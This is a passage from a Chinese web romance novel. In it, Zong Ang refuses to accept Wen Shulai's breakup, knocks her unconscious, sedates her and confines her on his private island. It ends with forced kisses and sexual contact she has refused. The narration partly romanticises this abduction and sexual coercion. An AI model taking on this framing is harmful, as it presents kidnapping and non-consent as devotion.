这话宗昂爱听,他屈指扣两下桌面:“谢了。”亲手拆开吸管,热饮喂到温纾莱嘴边。 温纾莱抿着唇,握着电容笔在屏幕上戳戳点点整理笔记。 宗昂自行圆话,自己给自己台阶下:“好吧,还有点烫,晾一会儿你再喝。” 他把热饮放在温纾莱手边,可到第四节课下课,孔佳茉她们的热饮都见了底,温纾莱也没动过她那一杯。 下课铃响,或认真听讲或犯困打盹儿的学生们这下志同道合,收好东西稀稀拉拉地往外走。 “一起吃饭?”宗昂边装着温纾莱的书包便向孔佳茉几人发出邀约:“我代表莱莱请客。” 也不是没有过先例,宗昂以前来接温纾莱下课也会叫上她们一同吃饭。 拿人手短吃人嘴软,饭间他稍微放个钩子,就能从孔佳茉她们口中钓上一大串有关温纾莱的事情。 比如大一军训那会儿她困得眯着眼穿衣服,到操场集合被教官指出衣服穿反这种糗事。 再比如她人缘很好,比起异性她更招同性喜欢,这就让她有时分不清同性的喜欢到底是哪种“喜欢”。 以前她还在学生会时有个学姐很是照顾她,温纾莱一直以为她和学姐就是纯友谊,等到五月二十号那天学姐捧着束红玫瑰跟她表白,震得她连夜写了退会申请,又怕她反应过激伤害到同性恋这个群体,打了八百字小作文拒绝学姐。 宗昂一面嫉妒着温纾莱他未曾参与的过去中的每一个人,一面听得津津有味。 他在这群温纾莱朝夕相处的室友口中逐渐拼凑出一个更为完整可爱的她。 总而言之,基于这种目的,宗昂请客吃饭请得还蛮频繁。 频繁到孔佳茉她们现在都不会再征求温纾莱,直接就应下了。 快到期末周,排课一天比一天少,下午没课,午饭他们就去了国贸那边吃。 去吃的是一家越南菜,女生们挑的,宗昂只管开车、掏钱。 到餐厅,五人自动泾渭分明,宗昂拉着温纾莱坐一边,三个女生坐对面。 每次在外吃饭都是宗昂巩固他“二十四好男友”人设的时刻,烫碗、夹菜、剥壳挑刺,要是温纾莱能同意,他恐怕更乐意喂她吃饭。忙前忙后殷勤的简直是将温纾莱当成老佛爷那样侍奉。 一次两次这样,可能是热恋期稀罕劲儿没过,要是次次都坚持,那才是真正发自内心的喜爱。 得到就不珍惜可是男人的通病。 对于宗昂的表现,孔佳茉三人看得很是欣慰。 孔佳茉托腮:“宗昂,请你以后结婚了也对莱莱这么好ok?不然——”她握起拳头,翘起拇指,慢动作地在自个儿脖子前划过。 宗昂莫名其妙地分她个眼神:“不是很想听你讲废话。”剥好的虾放到温纾莱盘中。 “也太能扯了,就到结婚了。”何皎皎最是跳脱的一个人,“不过话说回来,你们有计划吗?现在不都挺流行一手毕业证一手结婚证?结束即新征程的开始。” 孙星彤睨她:“磕巴都不打一下,民政局请你代言了?” “这不就问问么。”何皎皎说:“谁让莱莱是咱宿舍里目前唯一一个有对象的人呢。” “我都可以,听她的。”宗昂给温纾莱的碗里添满汤,顺势看她:“我们可以去你喜欢的瑞士办婚礼,你觉得怎么样。” 温纾莱挪远他盛的那碗汤,筷子将他剥的虾踢到盘子边,看向他:“我们已经分手了,你是不是忘了?” 她真的烦透。 跟着她上课、请她朋友吃饭,若无其事和她朋友聊那些痴心妄想的人生大事。 她没功夫,也不想陪他演。 他这么喜欢在她朋友面前刷好感,逼她就范,那她就干脆当着她朋友的面挑明。 “咣当”——何皎皎的筷子掉落在地。 孔佳茉孙星彤面面相觑。 温纾莱云淡风轻丢下的重磅炸弹炸得她们有点懵。 宗昂执拗地低下声:“我没同意就不算分手。” 温纾莱利落甩话:“不需要你同意。” 究竟是什么情况没搞清,但现在她们不合适再逗留,孔佳茉三人先后起身。 “嗯…”孙星彤是宿舍老大,一般是遇到大事就派她上场:“莱莱我们先回,你们好好聊聊,有事打我们电话。”她在耳边做了个来电的手势。 “好,你们注意安全。” 温纾莱没要走,宗昂也不会放她走,她当众宣布分手是要摆明她的态度。 包厢门一开一合,密闭的场所里就剩他们二人。 温纾莱还没吃饱,她把局搅散后没有观众再满足宗昂的表演欲,她便能愉快吃饭了。 在宗昂那儿,温纾莱吃饭是首要,天大的事都得让步。他陪着温纾莱吃完,再牵着温纾莱走。 他手掌又干又烫,又烧上来了。 上了车,宗昂往医院开。 到医院,缴费挂号都他自己来,温纾莱只起到一个陪伴的作用。 在输液室找了个靠窗的角落坐下,护士来量体温。 耳温枪上的数字不再跳动,变得稳定后,护士淡声说:“三十九度八,这段时间爆发了新型甲流,你们出门都戴好口罩。” 宗昂当好一个乖巧的病号,他端坐着:“我这应该不是甲流,就是晚上睡觉冻着了。” “那最近也注意点,先输两天看一下,退烧了最好,没退再来。”护士用止血带勒紧宗昂的手:“握拳。” 宗昂照做。看到护士消完毒拿出穿刺针时,他脑袋一偏,埋进温纾莱肩窝。 宗昂一个一米八几的大个子脆弱地依偎着一个姑娘,这画面怎么看怎么招笑。 护士:“你一个大男人还怕打针?” 宗昂不服气:“您这是性别歧视,男人怎么就不能——”感受到针刺进他皮肤里,他的话音戛然而止。 护士叮嘱温纾莱:“小姑娘看好你男朋友啊,液快空了按旁边的按钮叫我们换液。” 温纾莱笑笑:“您误会了,他不是我男朋友。” 萍水相逢的陌生人,出了这个医院在这个偌大的北京城再见面的概率不亚于中千万彩票,温纾莱没必要多这一句嘴,但她致力于给宗昂添堵。 护士也不在乎他们是什么关系,“哦”了声:“那看好你朋友。” 护士端着托盘走后,宗昂还埋头不起,他小声嘀咕:“你都不关心我怎么发烧的吗?” 温纾莱界限分明:“我没有关心前男友的癖好。” “我真的就那么不可原谅吗?”宗昂滚喉:“连个陌生人你都要解释清楚。” “我能在这里陪你是因为你威胁我。”温纾莱刺宗昂刺得愈发熟练:“限制完我的人身自由还要限制我说话的自由吗?” 宗昂受伤:“你现在讲话好难听。” 温纾莱冷漠:“我还能讲的更难听。” 她现在就是一整个被宗昂激发出另一反叛人格的状态。 “你到底怎么样才肯原谅我?”宗昂低声喃喃,似在问话又似在自言自语:“是不是要我把我俩都关起来就可以了?” 温纾莱撇过头望窗外:“那样我只会更厌恶你。” 楼外是成排光秃秃的树干,和春季绿芽冒尖前的景色别无二致,万物复苏的前夕与凋零衰败的后稍一样荒芜,而他们的这段感情只朝气蓬勃地活过了一个骄阳夏日。 “厌恶就厌恶吧,本来你也不喜欢我不是吗。”他暗含着一丝期盼,期盼得到温纾莱的否认,可他注定会落空。 他闭上干涩的双眼,微仰头,鼻梁走势契合地贴着温纾莱脖颈线条,灼烫的呼吸喷洒:“没关系,都没关系,只要你还在我身边就好。” 喜欢还是讨厌都好。 只要温纾莱还在他身边,他就什么都能接受。 第55章 第 55 章 豌豆奶酪挞(想不出章名…… “呀!帅哥你的针回血了!快叫大夫快叫大夫!” 温纾莱是被这样大嗓门的一声喊, 喊醒的。不知道什么时候睡着的,临睡前她在背戏剧概论的考点,手机屏幕小, 黑体字密密麻麻, 蓝光射进眼睛, 医院暖风开得足,她裹在绵软的羽绒服外套里, 背着背着就眼皮子打架。 脑袋后靠在墙壁上睡去。 可这会儿她睁开眼, 眼前景物倾斜,额角贴着一处热源,呼吸间是清淡的薄荷香。 一道沙哑的嗓音自她头顶响起:“没事, 您别喊了, 我女朋友在睡觉。” 温纾莱能感应到他说话时声带的震颤。 “还睡什么觉呀!”对面的大妈见温纾莱转醒, 着急忙慌地叫她:“诶呀姑娘你醒啦, 你男朋友的液输完啦, 快叫大夫, 空气输进去是会死人的!” 温纾莱自宗昂的肩膀弹起,望向斜上方的输液架,透明的输液瓶空空如也。 宗昂扎着针的手背鼓肿,软管里倒吸进一片猩红。 她忙按铃叫护士。 “赶紧按那个、那个轮, 把管先堵住。”大妈恨不能拔掉自己的针冲过来帮忙。 温纾莱手忙脚乱地将滑轮卡紧。 全都搞完, 大妈先松一口气:“诶呀可吓死我了。” 温纾莱瞅着软管里的血, 深吸气:“你怎么不叫我?” “想让你多睡会。”宗昂握起她的手, 安抚地捏了捏:“没事。” 虽然是他动手将温纾莱挪到自己肩膀上枕着, 但这个画面也太美好,他不想打破,回一点血不算什么。 要不是那个热心大妈, 这份美好还能再延续下去。 “你是不是有病!”温纾莱压低了声音压不住烦躁。 “是啊。”宗昂掐科打诨:“这不就在医院治呢么。” 温纾莱跟他说不通。 护士得到召唤赶来,一见到宗昂情况糟烂的手背也是“诶呀”一句,边拔针边数落他们:“不是说了让你们看着点嘛,幸亏没输进去太多,真引发空气栓塞了就麻烦了!” 大妈是个健谈的,插话道:“是吧,现在的小年轻谈个恋爱真是要命,我刚提醒这小伙子,他跟我说没事,别打扰他女朋友睡觉。” 来拔针的护士和扎针的护士是同一个,还记得扎针时女方在撇清干系,“哟,这是和好了又成男女朋友了?” 宗昂笑笑。 温纾莱不语。 护士处理好宗昂的手背,教育道:“你们小情侣谈恋爱也要有个度,别拿生命开玩笑。” 宗昂虚心受教:“好,谢谢您。” 三瓶液挂完,再出医院已是夜幕低垂。 两人去医院的停车场取车。一前一后地走着,温纾莱在前,宗昂尾巴似的缀在后面,他想牵手,温纾莱揣着兜不给他碰,他就揪着温纾莱的一只衣袖。 到车前,温纾莱摊手:“钥匙给我。”让宗昂这么一个对自己的健康不上心的病人开车,她坐着不踏实。 宗昂侧侧身,指他的口袋:“在兜里。”他晃了下贴着医用胶带泛着青紫色的手背:“我拿的话会碰到手。” 温纾莱伸手。 指尖都碰到他外套边缘,宗昂忽地补充:“在裤兜。” 温纾莱恼火地瞪他:“你有意思吗宗昂?” 宗昂眨眼:“真的在裤兜里,我没骗你。” “你另一只手呢?” “另一只手要牵你。” 宗昂灰蓝色的眼眸雾蒙蒙,又透着几分无辜。 温纾莱不再争论,时间浪费在这种事情上面没意义。她转身朝外走。 宗昂紧步跟上:“你干嘛去?” 温纾莱:“打车。” 拿不到他的车钥匙就不开,有的是办法能回家。 宗昂一把拽住她的肘弯,扯回她。眼里的无辜退散,酝酿着风暴,他舒口气,垂了垂眼睫:“算了。” 他妥协地从他裤子口袋里掏出车钥匙轻放到温纾莱手中:“回家吧。” 温纾莱往驾驶位走。 宗昂去副驾。 一块儿半个手掌大的石头静躺在车边,宗昂拉开车门的同时一脚踢飞那块儿石头,发泄出去聚集在胸腔中的烦闷。 等上车,他又把自己哄好了,系好安全带问温纾莱晚饭吃什么,温纾莱不理他他就自说自话- 第二天温纾莱是下午的课,这回宗昂没再跟课。 期末独幕剧的排练,专业老师看得严,宗昂这个外来人士不好混入,这个节骨眼上他也不能给温纾莱找事儿,把温纾莱送到教室门口就乖乖去医院输液了。 逮到单独相处的机会,孔佳茉三人一窝蜂围住温纾莱。 “怎么回事?”何皎皎问:“你们是吵架了还是怎么了?” “没吵架,就是分手了。” 再多的,温纾莱没法说。 她不说,她们就不再问,朋友多年这点贴心和默契是必备,而且感情这码事的确也不是一句两句就能掰扯清楚。 老师进来教室,闲散聊天的人作鸟兽散,都往舞台上走,列队等待老师点名。 温纾莱拖在末尾,拽住孔佳茉:“茉茉,我有个事想求你帮忙。” 孔佳茉不快:“什么求不求的,我们之间还用得着这个字?” 温纾莱这个口开得有些艰难:“这件事只有你能帮我,我还需要你借我点钱。” 孔佳茉正色道:“你说。”- 宗昂身体素质好,第一天输完液就退了烧,第二天再去巩固一下就康复了。 温纾莱正式进入期末周,一个学期的课程上完,大大小小的考试应接不暇。 中间她抽了一天去签合同——面馆店铺的购买合同。 合同签完,舅舅舅妈的面馆就不再是租用,而是成为户主拥有。 买店铺的钱是她找孔佳茉借的,利息孔佳茉不肯要,但温纾莱也按银行借款的利息算。 这段日子温纾莱和宗昂就各自活在各自的世界里。 一人处在单方面分手但迫不得已还要和前男友同住一个屋檐下敷衍了事的状态。 一人是只听自己想听的,坚定自己不松口就不会被女朋友抛弃,就能使女朋友回心转意的无赖状态。 所有考试都考完的那天,温纾莱一出考场,就看到等在走廊上的宗昂。 他穿着件白色卫衣,外套机车棒球服,水洗牛仔裤加一双板鞋。 别人都裹着臃肿棉服的寒冬腊月里,宗昂潮流得格格不入。 他跟前站着捧着手机的女生,多半是在要微信。 宗昂动动嘴说了句话,女生和同伴就走了,他也见到了教室门口的温纾莱。 过去接她,拎过她的书包单肩背着。 他主动坦白道:“我没有给那个女生我的联系方式。” “你给了也没关系,我们已经分手了,随便你和谁交往。” 相似的话宗昂这小半个月听过数次,人都要免疫,他转移话题:“这段时间辛苦你了宝贝,想怎么庆祝?” 温纾莱是能少说就少说:“随便。”尽管她不懂一个平平无奇的期末考有什么可庆祝的。 “就知道你会这么说。”宗昂挑挑眉,一副尽在掌握的姿态:“我订了家私厨的位子,据说味道很不错,你喜欢的那个导演的新片今晚首映,票我也买好了。” 宗昂并不注重仪式感,他自己考试,考完就考完了,但温纾莱连日备考他就会觉得辛苦,就会想要补偿她。 考虑到她不喜张扬,宗昂将那束精美包装的香槟玫瑰放在了副驾上。 温纾莱一拉开车门就闻到馥郁的芳香。 温纾莱很早就评价过宗昂是一个极为出色的情人,和他在一起什么都无需操心,他会把一切都安排好,并且这个安排不是他固执己见,是以被邀约对象的喜好量身定制,而被他邀约的那个人只管敞开心扉去享受。 她拿起那束花,在宗昂炯明的目光中扔到后车座。 宗昂看一眼摔掉花瓣的玫瑰,再看一眼淡着脸的温纾莱,笑了笑,发动车子驶向餐厅。 宗昂订的包厢位置极好,全景落地窗,用餐时稍一偏头就能俯瞰全北京城的夜景。 “去不去旅游?”宗昂照惯例汤涮着碗筷:“我做了几个方案,等回家你挑一个最想去的。” 先呈上来的是一道餐前甜点,豌豆奶酪挞,挺对温纾莱的口味。 她用叉子挑起铺在上层的火腿,在盘子里卷着,“我哪也不去,就算要去,也不会跟你去。” “不然就去意大利吧,带你去看看我生活过的地方。” “宗昂,我希望你能听懂人话。” 温纾莱毒舌的功力渐长,都是在宗昂那儿锻炼的。 包厢门敲响,菜品一道道摆到桌上。 宗昂休止闭嘴,让温纾莱好好吃个饭。前几天吃饭时他多讲了几句大A求婚那晚发生的趣事,温纾莱就要放筷,说听他讲话影响食欲。 碗筷碰撞的叮当响是这个私密空间里仅有的声音。 快要吃完时,宗昂进来一个电话,搁在手边的手机屏幕上跳跃着孔佳良的名字。 他指腹悬在红色挂断键上就要摁下,温纾莱发话:“接吧,他万一有事要告诉你呢。” “他能有什么事。”宗昂不想接,和温纾莱独处时谁来打搅谁该死。 “是觉得我碍事吗?”温纾莱激他:“怕我听到不该听的。” 她要这么说,宗昂再不接就是做实心里有鬼,滑动接听,开免提,言简意赅地吐字:“说。” 孔佳良问:“哥们儿你度过难关了?” 没头没尾的一句,宗昂不明所以:“什么意思?” “就你和温纾莱那事儿啊。”孔佳良哪里知道宗昂这边是外放,无所回避地贫嘴:“你还挺会利用资源哈,为了哄女朋友开心把大舅哥送我们家公司给他保驾护航,这人情你怎么还?” 第56章 第 56 章 “你别不要我” 孔佳良还想再聊, 宗昂直接挂了电话。 包厢里阒然无声。 温纾莱两条手臂架在餐桌上,半垂着头,左手执筷, 挑拣出奶油浓汤上用来点缀的迷迭香。 宗昂在桌对面定定地看着她, 眼神沉, 唇线绷直,一副山雨欲来的神情。 温纾莱镇定从容地舀起一勺浓汤, 在碗边刮了下, 送到嘴边浅抿一小口,凉热适中,喝掉。 等她不紧不慢地喝到满足, 抽纸巾擦嘴, 宗昂手一抬, 虎口打转的手机滑到桌面, 他落嗓问:“就这么想撇开我吗?” 孔佳良他家的GN娱乐经纪公司国内首屈一指, 是家综合性娱乐集团, 涵盖电影、电视剧、音乐、演出多个领域。 GN签约艺人的标准尤其之高,但只要签约成功,GN给自家艺人的资源那就是毫不吝啬,其他艺人爆火出圈后都闹着要和经纪公司解约, 而GN旗下的艺人爆火后是续约继续为GN卖命, 宗穆川的工作室也和孔家的娱乐公司有常年的深度合作, 参演他电影拿下影后桂冠的超一线大腕就是GN旗下的艺人。 把温屿年塞进GN, 在某种程度上来说不亚于将他塞进宗穆川的庇护下。 宗穆川只要有电影要筹备, 首选就是在GN里挑人。 儿子再无法无天也干不过老子。 温屿年安全了,他动不了了。 温纾莱不避不退地回视宗昂:“迫不及待。” 让温屿年签约GN,就是她拜托孔佳茉帮忙的事情。 这还是她第一次动分手的念头时宗昂给她的灵感。 要不是宗穆川的工作室不签人, 温纾莱都想把他哥送宗穆川眼皮子底下看着。 合同一签,再找人委婉不刻意地将这个消息传到孔佳良那儿,孔佳良绝对会来问宗昂。 基于和余泽帆那段恋情的经验,温纾莱就不信宗昂做的监/听那些龌龊事儿,孔佳良他们那几个好兄弟能不知情。 温纾莱再丢给他一个能阐明她决心的实情:“面馆我也已经买下来了,以后就不用你再费心了。” 宗昂问:“你哪来的那么多钱?” 他没别的意思,是单纯疑惑。温纾莱打工兼职的存款再多,撑死也就能买下北京景区旁边店铺的一平米,她又不会找温屿年要,一旦她去找温屿年,他们之间的矛盾就势必要暴露出去,照温屿年那个护短的脾气,早上门揍他了。 温纾莱直说:“找孔佳茉借的。” 宗昂敛睫无可奈何地笑了声。 她那么怕欠人情的性格,现在为了摆脱他不惜去找朋友借钱。 她能为他打破常规,也算是一种区别对待吧? 该交代都交代完毕,不必再逗留,温纾莱扔下那张被她叠的四四方方的纸巾:“我先走了。” 她穿好外套,围上围巾,遮挡住大半张脸,刘海儿下的一双眼睛愈发大而亮,挎上书包往门口走。 手指刚一碰到门把,身后一道刺耳的重音递来,是椅子划过地面。 后背一撞,她被人从后方拥住。 宗昂一手圈着她的腰,一手横在她胸前,“我不想分手,你别不要我。” 书包坠至手肘,里面装着电脑,有点重,压得温纾莱心口也沉甸甸的:“宗昂,我们没有再继续下去的必要了,我对你没有任何感情可言了,就到此为止吧。” 宗昂语气难掩委屈:“我说了我会改的,你为什么不相信我呢。” “因为你只是口头说说,不值得被信任。”温纾莱看着眼前的门板上繁复的花纹,视线渐渐虚焦:“上次我发现你耍我我就想分手了,是你用我哥来要挟我,这次我不想妥协了。” 她被逼迫后,还想过要好好经营和宗昂的爱情——这才是最让她心灰意懒的原因。 宗昂鼻尖深埋进她的围巾里,闻着她身上的香气,瓮声瓮气地说:“这次是真的,我保证,你再给我一次机会。” 他的语言系统宕机,组织不出甜言蜜语,措辞苍白:“求你了。” 那些拒绝的话温纾莱都要说吐,“宗昂,我真的很烦你了。” 她话里是浓重的不耐,似乎宗昂是个什么垃圾,被他缠上之后急于丢弃。 宗昂窒闷得不行:“你别烦我。” 下巴蹭开她围巾,吻接连落在她颊边、耳廓及脖颈,试图用生理反应激回温纾莱对他的依赖。 “宗昂你够了!”温纾莱奋力挣扎,反手推他脸,修剪圆滑的指甲在他脸际剐出血印。 宗昂松开她少许,调转她侧身,手掌向上扣住她后脑,炙热的吻逼下。 温纾莱狠咬住他嘴唇,血腥味顷刻在二人口腔蔓延。 这是他们接过最激烈的一个吻,谁都没有闭眼,还都红着眼圈。 宗昂舌头捣进来的那一秒,温纾莱眼角一晃,后颈骤痛,眼前一黑。 就什么都不知道了。 宗昂收回手,胸腔起伏一瞬,低头靠近倒在怀里的温纾莱。 要碰到她眉心时又停下,他嘴唇现在不干净,会弄脏她。舔掉下唇破口溢出的血渍,他蹭蹭温纾莱的鼻尖,打横抱起她- 海浪的拍打声,海鸥在鸣叫。 温纾莱被这些杂音唤醒,睁开眼,上方是洁白的天花板,余光飘进一抹白色,窗帘被穿过缝隙的海风吹起。 大片大片的阳光倾洒进来,是个不同于北京的极好天气。 温纾莱不适地抬手挡了挡,撑坐起身,迷茫地环顾四周。 地中海风格装修,宽大的床边是垂坠的白纱。 思绪回笼,后颈的酸痛提示着她晕倒前经历的种种。 她不可置信地掀开被子下床,窗外是一望无垠的大海,近处是松软的金黄色沙滩,椰林树影。 宗昂这是把她带到了哪儿? 她冲出房间,门外就是旋转楼梯,她疾步下楼,下到一半,猛烈的眩晕感袭上,她不得不放缓速度,扶住楼梯扶手。 别墅内部延续她刚才所在房间的设计风格,木棕和米白两色为主色调,一楼客厅的屋顶保留着圆柱房梁,布艺沙发正对门口。 穿堂风柔和吹过,有什么拂过她小腿,垂目一看,身上的衣服已经换了一套。 从笨重的冬季转变成夏季,羽绒服脱掉,换上白色吊带长裙。 室内没有挂钟,外面的天色只能看出是白天,辨认不出具体时间。 客厅空荡荡的也只有她一个人。 就在她要喊人时,左手边的长廊拐进来一道人影。 宗昂也换上了夏装,黑色无袖背心和白短裤。 温纾莱气到脸发红:“你又发什么疯?” “你不是说对我没有感情了吗。”宗昂说:“那就再培养回来。” 第57章 第 57 章 巴掌印 他说这里只有你跟我, 谁都不会来打扰。 宗昂的想法很简单,既然温纾莱对他没有了感情,那就再培养出来, 外面的杂乱太多, 会干扰她的判断力, 给女朋友提供一个绝对安全且稳定的环境让她能充分思考,是他身为男朋友的义务。 “你真是疯了!”温纾莱从未想过只存在于电视剧里的囚/禁戏码有一天会在现实中上演, 而她竟然“有幸”成为其中主演。 宗昂无所谓地耸耸肩膀: “你就当我是疯了吧。” 他走到这一步, 是可预见到的。 在他不再仅仅是贪图好玩寻求刺激,打定主意要争抢温纾莱,光明正大站在她身边, 顶替余泽帆成为她的新男友那一秒钟起, 他日后的所作所为就能可见一斑。 当火车偏离既定轨道, 它的行进方向和重点就不再可控。 温纾莱就是宗昂的既定轨道, 她提出分手的那一刻, 宗昂就已经脱轨。 脱轨就要补救。 那么现在, 他就是在进行他的补救。 温纾莱气血上涌:“你把我带到什么地方了?” “我的私人岛屿。” 这是他十八周岁,外公送他的成人礼——南太平洋上一座风景优美的小岛。 收到这份礼物他就不走心地跟外公道了个谢,他从小吃喝不愁,物质层面的赠予很少能打动他。 这下这座岛屿派上用场, 宗昂才觉得还蛮不错。 温纾莱冲他吼:“你这是绑架, 是犯法的你知不知道!” 宗昂双手揣兜, 肆无忌惮:“如果我在乎的话你就不会在这里了。” 讲不通, 他简直不可理喻。温纾莱大步往外走, 自醒后就挥之不去的晕眩感加剧,她步子一顿。 宗昂眼疾手快地上前撑住她的后背,另只手攀上她的太阳穴轻揉:“你吸进体内的助眠香还没散净, 别太激动,不然容易头晕。” 带温纾莱从国内飞来的途中,宗昂点了款助眠的香薰,按理是对人体无害,或许是他打在她后颈的那一下造成了不良后果。 她昏睡的这一天一夜,宗昂提心吊胆的。 温纾莱根本控制不住不住火气,她推开宗昂,使劲浑身力气甩了他一巴掌:“你给我滚,我现在多看你一眼都觉得恶心!” 温纾莱的动作在宗昂眼中是很慢的,他有充裕的时间能躲开,但他没躲,硬生生挨下这一巴掌。 她有气,他得让他撒出来。 女朋友的巴掌都受不住,还算什么男人。 以前最看重的脸,谁碰一下他都能跟谁急眼,现在被温纾莱扇得都习以为常了。 他面不改色地说:“那你自己在这里逛逛,我去给你做饭,你快两天没吃饭了。” 温纾莱一个字都不多说,指着他来的地方:“滚!” 宗昂听话地走了。 温纾莱慢腾腾挪到离她最近的一个单人沙发坐下,双腿并拢,两只手揉按着太阳穴,以此来缓解突突跳疼的大脑。 待这股劲儿过去,她眉头微松,站起来出去。 整座岛屿都是宗昂私有,没有围挡的庭院,别墅外就是广阔无边的大海,湿咸的海风吹动树叶哗哗作响,遥遥一望,天际一线。 抛却烦恼,这里着实是一个放松心情的享受胜地。 可现在温纾莱只想逃离这里。 她怎么都想不到宗昂会疯到这种地步,她还是高估了宗昂的道德,低估了他的卑劣。 出门遛了小半圈,温纾莱便明白为什么宗昂能放心地把她一个人留下。 这处前不着村后不着店,说好听点是世外桃源,说难听点跟荒岛无异,她一不知道自己在哪儿,二没有出行工具,她要走、要逃只能靠自己游。 太阳偏移到正中央,正午时分海边的阳光毒辣,温纾莱晒一会儿皮肤就火烧火燎,她遭不住,丧气地返回别墅里面。 泄愤地抓起沙发上的一个抱枕扔到地上,又一脚踢飞。 抱枕骨碌碌滚出客厅,最终停在去而复返的宗昂脚边。 他看了看那个抱枕,合理怀疑温纾莱是将抱枕当成了他。 他的宝贝永远都是这么的可爱有趣。 宗昂走进去,托盘放到她前方的黑色长几上:“吃点东西吧,我在网上跟着教程试着做了蝴蝶酥,你尝尝。” 他蹲在温纾莱腿边,像条忠诚的大型犬。 一侧脸颊还顶着鲜红的巴掌印。 温纾莱很想绝食抗议,但身体机能不准许她自暴自弃,况且她饿着肚子也没精力跟宗昂周旋。 饭菜都是宗昂做的,就如他所说那样,这座岛屿上只有他们二人。 连平日里专门打理这座岛屿的管家,都被他轰了出去。 宗昂的厨艺可圈可点,但相比于复杂多变的中餐,他更擅长做西餐。 青口贝用白葡萄酒烩煮,鱼排搭配柠檬酸豆奶油酱,洋葱汤浓香可口。 都是一人份,温纾莱吃饭的时候宗昂就托腮看着她。 看着喜欢的人吃他亲手做的饭,是一件特别幸福的事情。 他那个目不转睛的盯法,死人都能被看活,温纾莱匆匆吃完,“你什么时候才能放我走。” 宗昂抽出纸巾擦沾着她嘴唇:“等你再重新培养出对我的感情的时候。” 温纾莱打开他的手:“你做梦。” “那就一直待在这里吧,我有的是耐心等你。”宗昂在他搭建出的二人世界里极有安全感,他一点都不心急。 温纾莱把话说绝,掐灭他异想天开的希望,“你别太天真了宗昂,你做到这份上还想我再喜欢你,除非我去死。” 宗昂唇角的笑弧扯平,他睫毛垂耷,整个人蔫下去:“宝贝,我有时候真挺不想听你讲话的。” “那你滚。”温纾莱见不得他又扮出受害者的样子,“要么放我走。” 宗昂摇头:“我说了,等你变回以前的那个你,我自然就会带你离开。” “我也说了,除非我死。” 话滚话又绕回来。 宗昂站立起身,顺带牵上温纾莱的手腕:“这里景色还不错,但现在太晒了,我们先去睡个午觉,睡醒我在带你去玩。” “要睡你自己去睡,别碰我!” 温纾莱不依,甩不掉他的手就拿指甲去剋他。 这几日宗昂都数不清温纾莱在他身上弄出多少伤了,他倒是不在乎,也不嫌疼,就是不忍心温纾莱费力做无用功。 温纾莱那点力气在他这儿压根不够看,他一个弯腰,轻轻松松就把她从沙发上抱起来。 在温纾莱的拳打脚踢中,宗昂稳步上楼。 回到她醒来的那间卧室,宗昂放她到床上,他人也跟着躺上去。 室外燥得仿佛架在火上烤,室内却很是凉快,不开空调两个人抱在一起也不会热。 被劈晕又吸了香薰的后遗症未消,温纾莱闹到最后筋疲力尽,敌不过宗昂的桎梏,只得被他搂着。 她面朝窗户那边躺着。 露台的栏杆上停留着几只海鸥,很快又接二连三地飞走,自由自在地去追寻它们的自由。 温纾莱的目光追随着它们,直到再也看不见。她轻声问:“宗昂,你喜欢我吗?” “当然?”宗昂斩钉截铁地回答,他还挺紧张:“是我哪儿做的还不够才让你产生了这种质疑?” “那你可真悲哀。”温纾莱双眸合敛:“你喜欢一个人却只能用这种方式强留。” 宗昂一僵,难以名状的涩意在心头弥散,冲得他鼻腔发酸。 这句话杀伤力太强,他半晌都不知该做何反应。 温纾莱也不欲得到他的回应,反正都是她不爱听的,说完她想说的,就放任自己睡过去。 再醒来,身体的虚乏消解不少,卧室里又就她一人。 天色将暗未暗,光线呈现出神秘又梦幻的蓝色,远处天际又残留着一抹落日余晖得粉红。 温纾莱走去露台,五味杂陈地欣赏着这番美景。 肩膀一沉,轻薄的外套笼罩下来,宗昂神出鬼没地到她身后。 宗昂细致地拢起她的长发放在外套外面,“海边昼夜温差大,别着凉了。” 温纾莱望着广袤无边的大海,“宗昂,你这岛上是不是没有医疗资源?” 宗昂一时没能领会她想表达什么,如实说:“没有。” 温纾莱穿好外套,侧了侧脸:“那我要是跳海的话,你是不是就得送我去医院了?” 宗昂听后并不慌张,信誓旦旦地笃定道:“你不会的。” 她历经父母双亡那么重大的变故都能成长到如今这幅优秀的模样,怎么会因为被他困在这里就冒出轻生的决定。 温纾莱不置可否,转过身,擦着宗昂朝门口走:“你不是说要带我逛逛,走吧。” 再怎么样,也得先摸清地形才能寻找到出路的线索。 整座岛唯一的建筑,别墅占地面积很广,统共两层高,横向建得很长,设有阳光房,别墅后面还辟出了一处花园以及规划出了一大片卡丁车赛道。 “这里我也是第一次来,很多地方还都没完善好。”宗昂询问温纾莱:“你有没有哪里想改的或者想增添的?” 温纾莱不领情:“你的东西你做主,不用问我。” 宗昂一厢情愿地扣紧她的手:“我的就是你的,我们之间不用分得那么清。” “还是分清点吧,毕竟我们早就分手了。”温纾莱又一次划清界限。 分手分手,又是分手! 这两个字就如同魔音绕耳,宗昂憎恶至极。 他掐起温纾莱的脸扭向他,堵住她的嘴巴。 意料之中,又被温纾莱扇了。 宗昂到这时后知后觉地发觉他还有那么点抖M的属性,否则他怎么挨温纾莱的巴掌都还挨得挺高兴。 “你说一次分手我就亲你一次。”他混不吝的赖皮样儿:“你说多了我就会误认为你是想我亲你。” 第58章 第 58 章 破冰的唯一途径 气到极点, 温纾莱无语的都要笑了。 她的愤怒就这么堂而皇之的被宗昂当作他占便宜的借口。 讲理的人总是会被不要脸的人打败。 每当温纾莱觉得宗昂也就做到这一步的时候,他就会用及其不要脸的方式来刷新温纾莱对他认知的下限。 温纾莱也没了再闲逛的兴致,冷着脸回别墅去睡觉。 睡觉是现在避开宗昂最有效的办法。 她得切断和宗昂的交流, 别还没等到离岛的那一日她先被他给气死。 在浴室洗澡洗到一半, 隔断的玻璃门推开, 宗昂赤/身裸/体地走进来。 温纾莱条件反射的双臂交叉挡胸,后退到墙根:“你给我滚出去!” “你放心, 你不同意我不会做的。”宗昂没有再关上玻璃门, 一会儿会很闷,他怕温纾莱喘不上气。 濛濛白雾争先恐后地涌向外间,水滴四溅。 宗昂双手捧起温纾莱的脸吻住, 他的一个拇指用巧劲儿按着她下巴, 迫使她只能张嘴接纳, 无法再紧齿咬他。 这是爆发以来, 他们接过最平和的一个吻。 虽然是在宗昂的压制下完成。 这一吻完, 温纾莱怎么想宗昂不知道, 但他是丁点儿怨气都没有了。 温纾莱微喘:“你的话还真是连标点符号都不可信。” 和宗昂接吻很考验肺活量,他会吻得很深,这样的吻法也最能调动人的情绪。 “是不做。”宗昂往后捋了下湿发,露出光洁的额头, 在她的怒视中跪下, 双膝触地, 钳制她下巴的手改作卡着她一条腿弯搭到自己肩上, 仰头望她:“但我想让你爽。” 话音一落, 他就启唇含住。 